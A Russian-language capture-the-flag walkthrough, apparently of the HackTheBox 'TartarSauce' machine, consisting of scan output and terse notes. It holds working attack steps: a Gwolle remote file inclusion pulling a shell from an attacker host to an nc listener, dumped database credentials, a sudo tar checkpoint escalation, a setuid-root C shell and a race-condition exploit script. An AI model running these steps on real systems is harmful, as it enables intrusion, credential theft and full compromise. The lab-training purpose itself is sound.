Обзор сервисов
$ nmapAutomator.sh -H 10.10.10.88 -t Full
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
$ feroxbuster -u http://10.10.10.88 -w /usr/share/dirb/wordlists/common.txt -x php,txt,pdf
200 7l 12w 208c http://10.10.10.88/robots.txt
200 563l 128w 10766c http://10.10.10.88/index.html
301 9l 28w 316c http://10.10.10.88/webservices
301 9l 28w 319c http://10.10.10.88/webservices/wp
=> http://10.10.10.88/webservices/monstra-3.0.4/
=> http://10.10.10.88/webservices/monstra-3.0.4/admin/admin:admin => не эксплуатируется
$ wpscan --url http://10.10.10.88/webservices/wp/ --enumerate p
[+] URL: http://10.10.10.88/webservices/wp/ [10.10.10.88]
[+] Started: Thu Jun 3 13:08:16 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.10.88/webservices/wp/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://10.10.10.88/webservices/wp/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.10.88/webservices/wp/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
| Found By: Emoji Settings (Passive Detection)
| - http://10.10.10.88/webservices/wp/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.4'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.10.10.88/webservices/wp/, Match: 'WordPress 4.9.4'
|
| [!] 32 vulnerabilities identified:
|
| [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
| References:
| - https://wpscan.com/vulnerability/5e0c1ddd-fdd0-421b-bdbe-3eee6b75c919
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
| - https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
| - https://github.com/quitten/doser.py
| - https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress 3.7-4.9.4 - Remove localhost Default
| Fixed in: 4.9.5
| References:
| - https://wpscan.com/vulnerability/835614a2-ad92-4027-b485-24b39038171d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
|
| [!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login
| Fixed in: 4.9.5
| References:
| - https://wpscan.com/vulnerability/01b587e0-0a86-47af-a088-6e5e350e8247
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
|
| [!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag
| Fixed in: 4.9.5
| References:
| - https://wpscan.com/vulnerability/2b7c77c3-8dbc-4a2a-9ea3-9929c3373557
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
| - https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
|
| [!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
| Fixed in: 4.9.7
| References:
| - https://wpscan.com/vulnerability/42ab2bd9-bbb1-4f25-a632-1811c5130bb4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
| - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
| - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
| - https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
| - https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
| - https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
|
| [!] Title: WordPress <= 5.0 - Authenticated File Delete
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/e3ef8976-11cb-4854-837f-786f43cbdf44
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/999dba5a-82fb-4717-89c3-6ed723cc7e45
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/046ff6a0-90b2-4251-98fc-b7fba93f8334
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/3182002e-d831-4412-a27d-a5e39bb44314
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/7f7a0795-4dd7-417d-804e-54f12595d1e4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/65f1aec4-6d28-4396-88d7-66702b21c7a2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/d741f5ae-52ca-417d-a2ca-acdfb7ca5808
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
|
| [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
| Fixed in: 4.9.9
| References:
| - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
| - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
| - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
|
| [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
| Fixed in: 4.9.10
| References:
| - https://wpscan.com/vulnerability/d150f43f-6030-4191-98b8-20ae05585936
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
| - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
| - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
| - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
|
| [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
| Fixed in: 4.9.11
| References:
| - https://wpscan.com/vulnerability/4494a903-5a73-4cad-8c14-1e7b4da2be61
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
| - https://hackerone.com/reports/339483
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
| Fixed in: 4.9.12
| References:
| - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
| Fixed in: 4.9.13
| References:
| - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
| Fixed in: 4.9.13
| References:
| - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://hackerone.com/reports/509930
| - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
| Fixed in: 4.9.13
| References:
| - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
|
| [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
| Fixed in: 4.9.13
| References:
| - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
|
| [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
| Fixed in: 4.9.14
| References:
| - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47634/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
|
| [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
| Fixed in: 4.9.14
| References:
| - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47635/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
| Fixed in: 4.9.14
| References:
| - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47633/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
|
| [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
| Fixed in: 4.9.14
| References:
| - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47637/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
| Fixed in: 4.9.14
| References:
| - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47638/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
| - https://hackerone.com/reports/179695
|
| [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
| Fixed in: 4.9.17
| References:
| - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
| - https://core.trac.wordpress.org/changeset/50717/
| - https://www.youtube.com/watch?v=J2GXmxAdNWs
|
| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
| Fixed in: 4.9.18
| References:
| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
| - https://www.youtube.com/watch?v=HaW15aMzBUM
[i] The main theme could not be detected.
[+] Enumerating Most Popular Plugins (via Passive Methods)
[i] No plugins Found.
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 1
| Requests Remaining: 24
[+] Finished: Thu Jun 3 13:08:26 2021
[+] Requests Done: 38
[+] Cached Requests: 4
[+] Data Sent: 8.584 KB
[+] Data Received: 13.478 MB
[+] Memory used: 178.922 MB
[+] Elapsed time: 00:00:10
=> Gwolle guestbook
Публичный эксплоит
searchsploit gwolle
nc -lnvp 1234
=> создать wp-load.php с шеллкодом на локальном сервере
=> далее http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http>://10.10.14.6/
MySQL креды
$ www-data@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.php
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'wpuser');
/** MySQL database password */
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
/** MySQL hostname */
define('DB_HOST', 'localhost');
$ mysql -u wpuser -p'w0rdpr3$$d@t@b@$3@cc3$$' -e "use wp;select * from wp_users"
hash: $P$BBU0yjydBz9THONExe2kPEsvtjStGe1
wpadmin:
Sudo
$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
=> запускаем /bin/tar как onuma в режиме sudo без пароля:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Флаг пользователя
onuma@TartarSauce:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:0a:88 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.88/24 brd 10.10.10.255 scope global ens192
valid_lft forever preferred_lft forever
onuma@TartarSauce:~$ cat user.txt
b2d6ec45472467c836f253bd170182c7
История
onuma@TartarSauce:~$ cat .mysql_history
_HiStOrY_V2_
create\040database\040backuperer;
exit
SUID бинарник
На локальной машине:
$ sudo apt install gcc-multilib
$ nano exp.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
}
$ gcc -m32 -o setuid exp.c
$ mkdir var/www/html
$ cp setuid var/www/html #(execute this as root!)
$ chmod u+s var/www/html/setuid #(execute this as root!)
$ tar -zcvf setuid.tar.gz var/ #(execute this as root!)
Загрузим на машину файл setuid.tar.gz в папку /var/tmp.
На машине:
$ cd /var/tmp
$ systemctl list-timers #(monitor service start)
#after .<rand> file appears execute
$ cp setuid.tar.gz .<rand>
#then wait after check directory is created
$ cd check/var/www/html
$ ./setuid
Скрипт для автоматизации executor.py:
import os
import time
print("Waiting dot file to appear...")
fname = ""
br = True
while br:
lst = os.listdir(".")
for f in lst:
if f.startswith("."):
fname = f
br = False
print("FOUND")
break
time.sleep(0.5)
print("copying setuid to " + fname)
os.system("cp setuid.tar.gz " + fname)
br = True
print("waiting check folder to appear")
while br:
lst = os.listdir(".")
for f in lst:
if f.startswith("check"):
print("FOUND")
br = False
break
time.sleep(0.5)
print("executing ./check/var/www/html/setuid")
os.system("./check/var/www/html/setuid")
Флаг суперпользователя
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:0a:88 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.88/24 brd 10.10.10.255 scope global ens192
valid_lft forever preferred_lft forever
$ cat root.txt
e79abdab8b8a4b64f8579a10b2cd09f9